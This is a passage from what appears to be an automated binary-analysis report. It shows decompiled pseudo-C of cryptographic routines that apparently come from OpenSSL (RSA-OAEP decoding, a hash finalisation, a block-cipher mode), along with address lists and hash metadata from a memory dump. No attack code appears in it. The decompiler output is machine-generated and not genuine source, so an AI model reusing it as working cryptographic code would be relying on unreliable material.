                                                                							if(_v0 == 0 || _t159 == 0) {
                                                                								_push(0x9c);
                                                                								_push("crypto\\rsa\\rsa_oaep.c");
                                                                								_push(0x41);
                                                                								L26:
                                                                								_push(0x99);
                                                                								_push(4);
                                                                								E00AB8310(_t159);
                                                                								_t179 = _t177 + 0x14;
                                                                							} else {
                                                                								E00B8BB40(_t159, _t159, 0, _t128);
                                                                								E00B8B7A0(_t128 - _t165 + _t159, _t159, _t161, _t128 - _t165 + _t159, _a16, _t165);
                                                                								_t94 =  *_t159 & 0x000000ff;
                                                                								_t128 = _a28;
                                                                								_t30 = _t94 - 1; // -1
                                                                								_push(_a20);
                                                                								_t168 = _t30 >> 0x0000001f &  !( *_t159 & 0x000000ff) >> 0x0000001f;
                                                                								_t31 = _t159 + 1; // 0x1
                                                                								_push(_t161);
                                                                								_t159 = _t128 + _t159 + 1;
                                                                								_push(_t159);
                                                                								_t151 =  &_a44;
                                                                								_push(_t128);
                                                                								_push( &_a44);
                                                                								_t169 =  ~_t168;
                                                                								_a16 = _t31;
                                                                								_a40 = _t159;
                                                                								_t98 = E00AD8D10(_t169);
                                                                								_t179 = _t177 + 0x2c;
                                                                								if(_t98 == 0) {
                                                                									_t159 = 0;
                                                                									if(_t128 > 0) {
                                                                										_t150 = _a16 -  &_a44;
                                                                										do {
                                                                											 *(_t179 + _t159 + 0x3c) =  *(_t179 + _t159 + 0x3c) ^  *(_t150 + _t179 + _t159 + 0x3c);
                                                                											_t159 = _t159 + 1;
                                                                										} while (_t159 < _t128);
                                                                									}
                                                                									_t151 = _v0;
                                                                									_push(_a20);
                                                                									_push(_t128);
                                                                									_push( &_a44);
                                                                									_push(_t161);
                                                                									_push(_v0);
                                                                									_t100 = E00AD8D10(_t169);
                                                                									_t179 = _t179 + 0x14;
                                                                									if(_t100 == 0) {
                                                                										if(_t161 > 0) {
                                                                											_t125 = _v0;
                                                                											_t159 = _a40 - _t125;
                                                                											_t148 = _t161;
                                                                											do {
                                                                												 *_t125 =  *_t125 ^  *(_t125 + _t159);
                                                                												_t125 =  &(_t125[0]);
                                                                												_t148 = _t148 - 1;
                                                                											} while (_t148 != 0);
                                                                										}
                                                                										_t151 = _a204;
                                                                										_t103 = E00ADBC10(_t128, _t169, _a32, _a204,  &_a108, 0, _a4, 0);
                                                                										_t179 = _t179 + 0x18;
                                                                										if(_t103 != 0) {
                                                                											_t151 = _v0;
                                                                											_t104 = E00AC3A50(_v0,  &_a108, _t128);
                                                                											_t159 = _a28;
                                                                											_t55 = _t104 - 1; // -1
                                                                											_t170 = _t169 &  ~(_t55 >> 0x0000001f &  !_t104 >> 0x0000001f);
                                                                											_t177 = _t179 + 0xc;
                                                                											_t128 = 0;
                                                                											_a4 = _t170;
                                                                											while(_t159 < _t161) {
                                                                												_t145 =  *(_t159 + _v0) & 0x000000ff;
                                                                												_t59 = (_t145 ^ 0x00000001) - 1; // -2
                                                                												_t151 =  ~(_t59 >> 0x0000001f &  !(_t145 ^ 0x00000001) >> 0x0000001f);
                                                                												_t118 =  !_t128 & _t151;
                                                                												_t128 = _t128 | _t151;
                                                                												_t61 = _t145 - 1; // -2
                                                                												_a8 =  !_t118 & _a8 | _t118 & _t159;
                                                                												_t170 = _a4 & ( ~(_t61 >> 0x0000001f &  !_t145 >> 0x0000001f) | _t128);
                                                                												_t159 = _t159 + 1;
                                                                												_a4 = _t170;
                                                                											}
                                                                											if((_t170 & _t128) == 0) {
                                                                												goto L25;
                                                                											} else {
                                                                												_t108 = _a8 + 1;
                                                                												_t161 = _t161 - _a8 + 1;
                                                                												_a12 = _t161;
                                                                												if(_a184 >= _t161) {
                                                                													_t151 = _a36;
                                                                													E00B8B7A0(_t128, _t159, _t161, _a36, _t108 + _v0, _t161);
                                                                													_t179 = _t177 + 0xc;
                                                                												} else {
                                                                													E00AB8310(_t159, 4, 0x99, 0x6d, "crypto\\rsa\\rsa_oaep.c", 0xdf);
                                                                													_t177 = _t177 + 0x14;
                                                                													_a12 = 0xffffffff;
                                                                													goto L25;
                                                                												}
                                                                											}
                                                                										}
                                                                									}
                                                                								}
                                                                							}
                                                                						}
                                                                					}
                                                                					_push(0xee);
                                                                					_push("crypto\\rsa\\rsa_oaep.c");
                                                                					E00AC3490(_v0);
                                                                					_push(0xef);
                                                                					_push("crypto\\rsa\\rsa_oaep.c");
                                                                					E00AC3490(_a24);
                                                                					_t84 = _a12;
                                                                					_t177 = _t179 + 0x18;
                                                                				}
                                                                				return E00B89C26(_t84, _t128, _a172 ^ _t177, _t151, _t159, _t161);
                                                                			}































                                                                0x00ad9075
                                                                0x00ad907a
                                                                0x00ad9081
                                                                0x00ad9096
                                                                0x00ad909e
                                                                0x00ad90a6
                                                                0x00ad90ae
                                                                0x00ad90b6
                                                                0x00ad90b8
                                                                0x00ad90bc
                                                                0x00ad90c3
                                                                0x00ad90c7
                                                                0x00ad90cb
                                                                0x00ad90cf
                                                                0x00ad90d3
                                                                0x00ad90db
                                                                0x00ad90df
                                                                0x00ad90e3
                                                                0x00ad90e9
                                                                0x00ad90eb
                                                                0x00ad90f0
                                                                0x00ad90f0
                                                                0x00ad90f6
                                                                0x00ad90f8
                                                                0x00ad90f8
                                                                0x00ad90fd
                                                                0x00ad9102
                                                                0x00ad910c
                                                                0x00ad9110
                                                                0x00ad9390
                                                                0x00ad911e
                                                                0x00ad9120
                                                                0x00ad931f
                                                                0x00ad931f
                                                                0x00ad9324
                                                                0x00ad9329
                                                                0x00000000
                                                                0x00ad9126
                                                                0x00ad9126
                                                                0x00ad912c
                                                                0x00000000
                                                                0x00ad9132
                                                                0x00ad9136
                                                                0x00ad913b
                                                                0x00ad913c
                                                                0x00ad9142
                                                                0x00ad9147
                                                                0x00ad914c
                                                                0x00ad9152
                                                                0x00ad9156
                                                                0x00ad915b
                                                                0x00ad9163
                                                                0x00ad9165
                                                                0x00ad9169
                                                                0x00ad9382
                                                                0x00ad9387
                                                                0x00ad938c
                                                                0x00ad932b
                                                                0x00ad932b
                                                                0x00ad9330
                                                                0x00ad9332
                                                                0x00ad9337
                                                                0x00ad9177
                                                                0x00ad917b
                                                                0x00ad918b
                                                                0x00ad9190
                                                                0x00ad9197
                                                                0x00ad919b
                                                                0x00ad91a3
                                                                0x00ad91a7
                                                                0x00ad91a9
                                                                0x00ad91ac
                                                                0x00ad91ad
                                                                0x00ad91b1
                                                                0x00ad91b2
                                                                0x00ad91b6
                                                                0x00ad91b7
                                                                0x00ad91b8
                                                                0x00ad91ba
                                                                0x00ad91be
                                                                0x00ad91c2
                                                                0x00ad91c7
                                                                0x00ad91cc
                                                                0x00ad91d2
                                                                0x00ad91d6
                                                                0x00ad91e0
                                                                0x00ad91e2
                                                                0x00ad91e9
                                                                0x00ad91eb
                                                                0x00ad91ec
                                                                0x00ad91e2
                                                                0x00ad91f4
                                                                0x00ad91f8
                                                                0x00ad91f9
                                                                0x00ad91fe
                                                                0x00ad91ff
                                                                0x00ad9200
                                                                0x00ad9201
                                                                0x00ad9206
                                                                0x00ad920b
                                                                0x00ad9213
                                                                0x00ad9215
                                                                0x00ad921d
                                                                0x00ad921f
                                                                0x00ad9221
                                                                0x00ad9224
                                                                0x00ad9226
                                                                0x00ad9227
                                                                0x00ad9227
                                                                0x00ad9221
                                                                0x00ad9230
                                                                0x00ad924a
                                                                0x00ad924f
                                                                0x00ad9254
                                                                0x00ad925a
                                                                0x00ad9268
                                                                0x00ad926d
                                                                0x00ad9271
                                                                0x00ad9280
                                                                0x00ad9282
                                                                0x00ad9285
                                                                0x00ad9289
                                                                0x00ad928d
                                                                0x00ad9294
                                                                0x00ad929d
                                                                0x00ad92ae
                                                                0x00ad92b0
                                                                0x00ad92bc
                                                                0x00ad92c0
                                                                0x00ad92cf
                                                                0x00ad92d9
                                                                0x00ad92db
                                                                0x00ad92de
                                                                0x00ad92de
                                                                0x00ad92e6
                                                                0x00000000
                                                                0x00ad92e8
                                                                0x00ad92ec
                                                                0x00ad92ed
                                                                0x00ad92f6
                                                                0x00ad92fa
                                                                0x00ad936f
                                                                0x00ad9378
                                                                0x00ad937d
                                                                0x00ad92fc
                                                                0x00ad930f
                                                                0x00ad9314
                                                                0x00ad9317
                                                                0x00000000
                                                                0x00ad9317
                                                                0x00ad92fa
                                                                0x00ad92e6
                                                                0x00ad9254
                                                                0x00ad920b
                                                                0x00ad91cc
                                                                0x00ad9169
                                                                0x00ad912c
                                                                0x00ad933e
                                                                0x00ad9343
                                                                0x00ad9349
                                                                0x00ad9352
                                                                0x00ad9357
                                                                0x00ad935d
                                                                0x00ad9362
                                                                0x00ad9366
                                                                0x00ad9366
                                                                0x00ad93ab

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _memset
                                                                • String ID: crypto\rsa\rsa_oaep.c
                                                                • API String ID: 2102423945-3183921844
                                                                • Opcode ID: 83d445c1947fc5c90010ba233430bebea5c3971aef4d4a6453958c6952fdf7ac
                                                                • Instruction ID: ab0fda4ea8adc041bf8852915bf6cc68dc5d40ac182bff5e480f4e3fcb0ed3b6
                                                                • Opcode Fuzzy Hash: 83d445c1947fc5c90010ba233430bebea5c3971aef4d4a6453958c6952fdf7ac
                                                                • Instruction Fuzzy Hash: BC91C4756483419FD310EF68C981B6FB7E9FBC8700F444A1EF5969B282DB70E9048B92
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _memset
                                                                • String ID: crypto\modes\ocb128.c
                                                                • API String ID: 2102423945-214209448
                                                                • Opcode ID: 6e9e34f87f0cea177772667c36522abc6aca24414b0c088ea3e3591d4fa0bb0e
                                                                • Instruction ID: 4477ed4938133b2d727f258afa145ad645f8b3d0e8668e00e27ae3f62e84f60c
                                                                • Opcode Fuzzy Hash: 6e9e34f87f0cea177772667c36522abc6aca24414b0c088ea3e3591d4fa0bb0e
                                                                • Instruction Fuzzy Hash: 83416E310097A69BC311CF29D051B97FBE4AF96704F14888DE0D41B693C2B5F509CBA3
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 89%
                                                                			E00AD40F0(unsigned int* _a4, unsigned int* _a8) {
                                                                				void* __edi;
                                                                				unsigned int* _t33;
                                                                				unsigned int* _t34;
                                                                				unsigned int* _t35;
                                                                				unsigned int* _t36;
                                                                				unsigned int* _t38;
                                                                				unsigned int* _t39;
                                                                				unsigned int* _t40;
                                                                				unsigned int* _t41;
                                                                				unsigned int* _t42;
                                                                				unsigned int* _t43;
                                                                				unsigned int* _t44;
                                                                				unsigned int* _t46;
                                                                				unsigned int* _t47;
                                                                				unsigned int _t53;
                                                                				unsigned int _t61;
                                                                				unsigned int _t63;
                                                                				unsigned int _t65;
                                                                				unsigned int _t67;
                                                                				unsigned int* _t88;
                                                                				unsigned int* _t89;
                                                                				unsigned int* _t90;
                                                                				unsigned int* _t91;
                                                                				unsigned int* _t92;
                                                                				unsigned int* _t93;
                                                                				unsigned int* _t94;
                                                                				unsigned int* _t96;
                                                                				unsigned int* _t97;
                                                                				void* _t99;
                                                                
                                                                				_t88 = _a8;
                                                                				_t53 = _t88[0x16];
                                                                				_t89 =  &(_t88[6]);
                                                                				 *((char*)(_t89 + _t53)) = 0x80;
                                                                				_t54 = _t53 + 1;
                                                                				if(_t53 + 1 > 0x38) {
                                                                					E00B8BB40(_t88, _t54 + _t89, 0, 0x40 - _t54);
                                                                					_push(1);
                                                                					_push(_t89);
                                                                					_push(_t88);
                                                                					_t54 = 0;
                                                                					E00AEA800();
                                                                					_t99 = _t99 + 0x18;
                                                                				}
                                                                				E00B8BB40(_t88, _t54 + _t89, 0, 0x38 - _t54);
                                                                				_t89[0xe] = _t88[4] & 0x000000ff;
                                                                				_t90 =  &(_t89[0xe]);
                                                                				_t90[0] = _t88[4] & 0x000000ff;
                                                                				_t91 =  &(_t90[0]);
                                                                				_t91[0] = _t88[4] & 0x000000ff;
                                                                				_t92 =  &(_t91[0]);
                                                                				_t92[0] = _t88[4] & 0x000000ff;
                                                                				_t93 =  &(_t92[0]);
                                                                				_t93[0] = _t88[5] & 0x000000ff;
                                                                				_t94 =  &(_t93[0]);
                                                                				_t94[0] = _t88[5] & 0x000000ff;
                                                                				_t96 =  &(_t94[0]);
                                                                				 *_t96 = _t88[5] & 0x000000ff;
                                                                				_t97 =  &(_t96[0]);
                                                                				 *_t97 = _t88[5] & 0x000000ff;
                                                                				_push(1);
                                                                				_push(_t97 - 0x3f);
                                                                				_push(_t88);
                                                                				E00AEA800();
                                                                				_t88[0x16] = 0;
                                                                				E00AC39E0(_t97 - 0x3f, 0x40);
                                                                				_t61 =  *_t88;
                                                                				_t33 = _a4;
                                                                				 *_t33 = _t61;
                                                                				_t34 =  &(_t33[0]);
                                                                				 *_t34 = _t61 >> 8;
                                                                				_t35 =  &(_t34[0]);
                                                                				 *_t35 = _t61 >> 0x10;
                                                                				_t36 =  &(_t35[0]);
                                                                				 *_t36 = _t61 >> 0x18;
                                                                				_t63 = _t88[1];
                                                                				_t36[0] = _t63;
                                                                				_t38 =  &(_t36[0]);
                                                                				 *_t38 = _t63 >> 8;
                                                                				_t39 =  &(_t38[0]);
                                                                				 *_t39 = _t63 >> 0x10;
                                                                				_t40 =  &(_t39[0]);
                                                                				 *_t40 = _t63 >> 0x18;
                                                                				_t65 = _t88[2];
                                                                				_t41 =  &(_t40[0]);
                                                                				 *_t41 = _t65;
                                                                				_t42 =  &(_t41[0]);
                                                                				 *_t42 = _t65 >> 8;
                                                                				_t43 =  &(_t42[0]);
                                                                				 *_t43 = _t65 >> 0x10;
                                                                				_t44 =  &(_t43[0]);
                                                                				 *_t44 = _t65 >> 0x18;
                                                                				_t67 = _t88[3];
                                                                				_t44[0] = _t67;
                                                                				_t46 =  &(_t44[0]);
                                                                				 *_t46 = _t67 >> 8;
                                                                				_t47 =  &(_t46[0]);
                                                                				 *_t47 = _t67 >> 0x10;
                                                                				_t47[0] = _t67 >> 0x18;
                                                                				return 1;
                                                                			}
































                                                                0x00ad40f3
                                                                0x00ad40f7
                                                                0x00ad40fa
                                                                0x00ad40fd
                                                                0x00ad4101
                                                                0x00ad4105
                                                                0x00ad4114
                                                                0x00ad4119
                                                                0x00ad411b
                                                                0x00ad411c
                                                                0x00ad411d
                                                                0x00ad411f
                                                                0x00ad4124
                                                                0x00ad4124
                                                                0x00ad4134
                                                                0x00ad413d
                                                                0x00ad4144
                                                                0x00ad4147
                                                                0x00ad414e
                                                                0x00ad414f
                                                                0x00ad4156
                                                                0x00ad4157
                                                                0x00ad415e
                                                                0x00ad415f
                                                                0x00ad4166
                                                                0x00ad4167
                                                                0x00ad416f
                                                                0x00ad4170
                                                                0x00ad4176
                                                                0x00ad4177
                                                                0x00ad4179
                                                                0x00ad417e
                                                                0x00ad417f
                                                                0x00ad4180
                                                                0x00ad4188
                                                                0x00ad418f
                                                                0x00ad4194
                                                                0x00ad4196
                                                                0x00ad419a
                                                                0x00ad419c
                                                                0x00ad41a2
                                                                0x00ad41a4
                                                                0x00ad41aa
                                                                0x00ad41ac
                                                                0x00ad41b0
                                                                0x00ad41b2
                                                                0x00ad41b5
                                                                0x00ad41b9
                                                                0x00ad41bf
                                                                0x00ad41c1
                                                                0x00ad41c7
                                                                0x00ad41c9
                                                                0x00ad41cd
                                                                0x00ad41cf
                                                                0x00ad41d2
                                                                0x00ad41d3
                                                                0x00ad41d5
                                                                0x00ad41db
                                                                0x00ad41df
                                                                0x00ad41e6
                                                                0x00ad41e8
                                                                0x00ad41ec
                                                                0x00ad41ee
                                                                0x00ad41f1
                                                                0x00ad41f7
                                                                0x00ad41fb
                                                                0x00ad41ff
                                                                0x00ad4204
                                                                0x00ad420a
                                                                0x00ad4213

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _memset
                                                                • String ID:
                                                                • API String ID: 2102423945-0
                                                                • Opcode ID: 9a87ab689afa0e2c381a49084cd72cac18ca1241c17c9dcc8a57c48f59368db1
                                                                • Instruction ID: f3c630b4a5122a5407e17671f5a0452881eb16f42329b07a5ddce688a34db2d0
                                                                • Opcode Fuzzy Hash: 9a87ab689afa0e2c381a49084cd72cac18ca1241c17c9dcc8a57c48f59368db1
                                                                • Instruction Fuzzy Hash: B341165020D3D25FD30A8A3E0CC0A667F96DFB7100B0886CDE8D69BB87C560A856C7F1
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _memset
                                                                • String ID:
                                                                • API String ID: 2102423945-0
                                                                • Opcode ID: 4db39eba7e847a9b606290999e92184f2bc0d4c0f51178c981b4ca8f58a1f6c5
                                                                • Instruction ID: fbb332e6859d7e64d5731ca06d0af0707ad8c6864d8b8a8f441f48d3fb23a775
                                                                • Opcode Fuzzy Hash: 4db39eba7e847a9b606290999e92184f2bc0d4c0f51178c981b4ca8f58a1f6c5
                                                                • Instruction Fuzzy Hash: 028191715087419FD718CF29C491AABBBE4FF89314F448A2DF4DA87652D730EA44CB92
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 22%
                                                                			E00ABCFE0(void* __ebp, signed char _a3, signed int _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, signed int _a24, signed int _a28, signed int _a32, signed int _a36, signed int _a40, signed int* _a48, signed char _a52, intOrPtr _a56, signed int _a60, intOrPtr _a64) {
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t77;
                                                                				signed char _t80;
                                                                				signed int _t82;
                                                                				intOrPtr _t83;
                                                                				void* _t92;
                                                                				signed int* _t93;
                                                                				signed int* _t98;
                                                                				signed int _t110;
                                                                				signed int _t111;
                                                                				void* _t123;
                                                                				signed int _t130;
                                                                				signed int _t131;
                                                                				intOrPtr _t133;
                                                                				signed int _t140;
                                                                				unsigned int _t143;
                                                                				signed int _t146;
                                                                				signed int* _t148;
                                                                				void* _t149;
                                                                				signed int _t151;
                                                                				intOrPtr* _t153;
                                                                				void* _t155;
                                                                				signed int _t157;
                                                                
                                                                				_t149 = __ebp;
                                                                				E00B8BB10(0x2c);
                                                                				_t77 =  *0xbe5970; // 0xe6e1d076
                                                                				_a40 = _t77 ^ _t157;
                                                                				_t107 = _a52;
                                                                				_t148 = _a48;
                                                                				_t131 = _t148[0xb];
                                                                				_a12 = _a56;
                                                                				_t80 =  *_t148;
                                                                				_a20 = _a64;
                                                                				_t110 = _t148[0xa];
                                                                				_a3 = _t80;
                                                                				_a16 = _t110;
                                                                				_a4 = _t131;
                                                                				if((_t80 & 0x00000040) == 0) {
                                                                					 *_t110(_t148,  &(_t148[4]), _t131);
                                                                					_t80 = _a3;
                                                                					_t157 = _t157 + 0xc;
                                                                					_t148[8] = _t148[8] + 1;
                                                                					asm("adc dword [esi+0x24], 0x0");
                                                                				}
                                                                				_t82 = _t80 & 7;
                                                                				_t133 = 0xf - _t82;
                                                                				 *_t148 = _t82;
                                                                				_t83 = 0xf;
                                                                				_t111 = 0;
                                                                				_a8 = 0xf;
                                                                				if(0xf < 0xf) {
                                                                					do {
                                                                						_t130 = _t111 |  *(_t148 + _t83) & 0x000000ff;
                                                                						 *(_t148 + _t83) = 0;
                                                                						_t83 = _t83 + 1;
                                                                						_t111 = _t130 << 8;
                                                                					} while (_t83 < 0xf);
                                                                				}
                                                                				_t84 = _t148[3] & 0x000000ff;
                                                                				_t146 = _a60;
                                                                				_t148[3] = 1;
                                                                				if((_t111 | _t148[3] & 0x000000ff) == _t146) {
                                                                					_t148[8] = _t148[8] + ((_t146 + 0x0000000f | 0x00000008) >> 3);
                                                                					asm("adc dword [esi+0x24], 0x0");
                                                                					__eflags = _t148[9] - 0x20000000;
                                                                					if(__eflags < 0) {
                                                                						L11:
                                                                						_push(_t149);
                                                                						_t151 = _t146 >> 4;
                                                                						__eflags = _t151;
                                                                						if(_t151 == 0) {
                                                                							L14:
                                                                							__eflags = _t146;
                                                                							if(_t146 != 0) {
                                                                								_t92 = 0;
                                                                								__eflags = _t146;
                                                                								if(_t146 > 0) {
                                                                									do {
                                                                										 *(_t148 + _t92 + 0x10) =  *(_t148 + _t92 + 0x10) ^  *(_t107 + _t92);
                                                                										_t92 = _t92 + 1;
                                                                										__eflags = _t92 - _t146;
                                                                									} while (_t92 < _t146);
                                                                								}
                                                                								_t153 = _a16;
                                                                								_t93 =  &(_t148[4]);
                                                                								 *_t153(_t93, _t93, _a4);
                                                                								 *_t153(_t148,  &_a24, _a4);
                                                                								_t157 = _t157 + 0x18;
                                                                								_t123 = 0;
                                                                								__eflags = _t146;
                                                                								if(_t146 > 0) {
                                                                									_t155 = _t107 -  &_a24;
                                                                									_t140 = _a12 -  &_a24;
                                                                									__eflags = _t140;
                                                                									do {
                                                                										_t98 = _t157 + _t123 + 0x28;
                                                                										_t107 =  *(_t98 + _t155) ^  *_t98;
                                                                										_t123 = _t123 + 1;
                                                                										 *(_t98 + _t140) =  *(_t98 + _t155) ^  *_t98;
                                                                										__eflags = _t123 - _t146;
                                                                									} while (_t123 < _t146);
                                                                								}
                                                                								goto L21;
                                                                							}
                                                                						} else {
                                                                							_a20(_t107, _a12, _t151, _a4, _t148,  &(_t148[4]));
                                                                							_t143 = _t151 << 4;
                                                                							_a12 = _a12 + _t143;
                                                                							_t157 = _t157 + 0x18;
                                                                							_t107 = _t107 + _t143;
                                                                							_t146 = _t146 - _t143;
                                                                							__eflags = _t146;
                                                                							if(_t146 == 0) {
                                                                								L21:
                                                                								_t133 = _a8;
                                                                							} else {
                                                                								__eflags = _t143 >> 4;
                                                                								E00ABCFA0(_t148, _t143 >> 4);
                                                                								_t133 = _a8;
                                                                								goto L14;
                                                                							}
                                                                						}
                                                                						__eflags = _t133 - 0x10;
                                                                						if(_t133 < 0x10) {
                                                                							__eflags = 0x10;
                                                                							E00B8BB40(_t146, _t148 + _t133, 0, 0x10 - _t133);
                                                                							_t157 = _t157 + 0xc;
                                                                						}
                                                                						_a16( &_a24, _a4);
                                                                						_t148[4] = _t148[4] ^ _a24;
                                                                						_t148[5] = _t148[5] ^ _a28;
                                                                						_t148[7] = _t148[7] ^ _a36;
                                                                						_t148[6] = _t148[6] ^ _a32;
                                                                						 *_t148 = _a3;
                                                                						__eflags = 0;
                                                                						return E00B89C26(0, _t107, _a40 ^ _t157 + 0x0000000c, _a3, _t146, _t148, _t148);
                                                                					} else {
                                                                						if(__eflags > 0) {
                                                                							L10:
                                                                							__eflags = _a40 ^ _t157;
                                                                							return E00B89C26(0xfffffffe, _t107, _a40 ^ _t157, _t133, _t146, _t148);
                                                                						} else {
                                                                							__eflags = _t148[8];
                                                                							if(_t148[8] <= 0) {
                                                                								goto L11;
                                                                							} else {
                                                                								goto L10;
                                                                							}
                                                                						}
                                                                					}
                                                                				} else {
                                                                					return E00B89C26(_t84 | 0xffffffff, _t107, _a40 ^ _t157, _t133, _t146, _t148);
                                                                				}
                                                                			}




























                                                                0x00abcfe0
                                                                0x00abcfe5
                                                                0x00abcfea
                                                                0x00abcff1
                                                                0x00abcffe
                                                                0x00abd003
                                                                0x00abd007
                                                                0x00abd00a
                                                                0x00abd00e
                                                                0x00abd010
                                                                0x00abd014
                                                                0x00abd018
                                                                0x00abd01c
                                                                0x00abd020
                                                                0x00abd026
                                                                0x00abd02e
                                                                0x00abd030
                                                                0x00abd034
                                                                0x00abd037
                                                                0x00abd03b
                                                                0x00abd03b
                                                                0x00abd042
                                                                0x00abd04a
                                                                0x00abd04c
                                                                0x00abd04e
                                                                0x00abd050
                                                                0x00abd052
                                                                0x00abd059
                                                                0x00abd060
                                                                0x00abd064
                                                                0x00abd066
                                                                0x00abd06a
                                                                0x00abd06b
                                                                0x00abd06e
                                                                0x00abd060
                                                                0x00abd073
                                                                0x00abd077
                                                                0x00abd07d
                                                                0x00abd083
                                                                0x00abd0a3
                                                                0x00abd0a6
                                                                0x00abd0aa
                                                                0x00abd0b1
                                                                0x00abd0d2
                                                                0x00abd0d2
                                                                0x00abd0d5
                                                                0x00abd0d8
                                                                0x00abd0da
                                                                0x00abd111
                                                                0x00abd111
                                                                0x00abd113
                                                                0x00abd115
                                                                0x00abd117
                                                                0x00abd119
                                                                0x00abd120
                                                                0x00abd123
                                                                0x00abd127
                                                                0x00abd128
                                                                0x00abd128
                                                                0x00abd120
                                                                0x00abd130
                                                                0x00abd134
                                                                0x00abd13a
                                                                0x00abd147
                                                                0x00abd149
                                                                0x00abd14c
                                                                0x00abd14e
                                                                0x00abd150
                                                                0x00abd158
                                                                0x00abd162
                                                                0x00abd162
                                                                0x00abd164
                                                                0x00abd164
                                                                0x00abd16b
                                                                0x00abd16d
                                                                0x00abd16e
                                                                0x00abd171
                                                                0x00abd171
                                                                0x00abd164
                                                                0x00000000
                                                                0x00abd150
                                                                0x00abd0dc
                                                                0x00abd0ed
                                                                0x00abd0f4
                                                                0x00abd0f6
                                                                0x00abd0fa
                                                                0x00abd0fd
                                                                0x00abd0ff
                                                                0x00abd0ff
                                                                0x00abd101
                                                                0x00abd175
                                                                0x00abd175
                                                                0x00abd103
                                                                0x00abd103
                                                                0x00abd108
                                                                0x00abd10d
                                                                0x00000000
                                                                0x00abd10d
                                                                0x00abd101
                                                                0x00abd17a
                                                                0x00abd17d
                                                                0x00abd184
                                                                0x00abd18d
                                                                0x00abd192
                                                                0x00abd192
                                                                0x00abd1a0
                                                                0x00abd1a8
                                                                0x00abd1af
                                                                0x00abd1ba
                                                                0x00abd1bd
                                                                0x00abd1cc
                                                                0x00abd1d2
                                                                0x00abd1dc
                                                                0x00abd0b3
                                                                0x00abd0b3
                                                                0x00abd0bd
                                                                0x00abd0c7
                                                                0x00abd0d1
                                                                0x00abd0b5
                                                                0x00abd0b5
                                                                0x00abd0b9
                                                                0x00000000
                                                                0x00000000
